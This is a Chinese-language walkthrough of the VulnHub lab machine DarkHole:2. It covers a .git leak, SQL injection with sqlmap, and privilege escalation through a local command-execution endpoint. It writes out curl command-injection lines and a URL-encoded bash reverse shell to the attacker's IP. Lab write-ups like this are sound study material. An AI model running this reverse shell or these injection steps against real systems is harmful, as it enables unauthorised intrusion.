vulnhub-darkhole:2打靶

环境

vulnhub项目 https://www.vulnhub.com/entry/darkhole-2,740/
靶机:172.16.17.154
攻击机kali:172.16.17.140

信息收集

nmap 扫描靶机

访问一下首页,看看web指纹

首页只有一个登录功能, nmap扫到一个.git目录,继续扫一下目录

config和.git挨个访问,都存在目录遍历和git泄露

信息收集到此结束

Exploit

获取git源码

脚本地址 https://github.com/lijiejie/GitHack/

用脚本下载源码

1
python GitHack.py http://172.16.17.154/.git/

查看一下目录结构

得到数据库账号密码,但是并未对外开放数据库端口

审计几个php文件,没有收获

git log

递归下载目录
脚本地址 https://github.com/arthaud/git-dumper

1
python git_dumper.py http://172.16.17.154/.git website

审计日志

第一次为初始化,第二次added login.php,第三次changed login.php

第二次添加了默认凭据

 I added login.php file with default credentials

继续跟进,查看两次的差异

1
git diff a4d900a8d85e8938d3601f3cef113ee293028e10

拿到账号密码,同时看到sql语句

sql注入

登录成功,看到id字眼,结合上面看到的sql语句,此处存在sql注入

修改id为0时,内容消失

1=1回显正常

1=2无回显

丢sqlmap跑,需要带上cookie

在数据库中跑出ssh密码

提权

拿到第一个flag

提权信息收集
sudo -l没有

在历史命令翻到可疑记录

1
2
3
4
5
6
7
8
curl "http://localhost:999/?cmd=id" 
curl "http://localhost:9999/?cmd=id"
curl "http://127.0.0.1:9999/?cmd=ls -la"
curl "http://127.0.0.1:9999/?cmd=ls%20-la"
curl "http://127.0.0.1:9999/?cmd=cd%20~&ls"
curl "http://127.0.0.1:9999/?cmd=cd%20~&&ls"
curl "http://127.0.0.1:9999/?cmd=cd%20~||ls"

看来存在命令执行

发现,是losy用户,反弹一个shell,需要注意的是,因为是url执行,所以需要url编码

1
curl "http://127.0.0.1:9999/?cmd=bash%20-c%20'exec%20bash%20-i%20%26%3E%2Fdev%2Ftcp%2F172.16.17.140%2F4444%20%3C%261'"

历史命令看到密码

ssh上losy用户查看sudo权限的文件

根据历史命令的提示,用python拿到一个shell

拿到最后的flag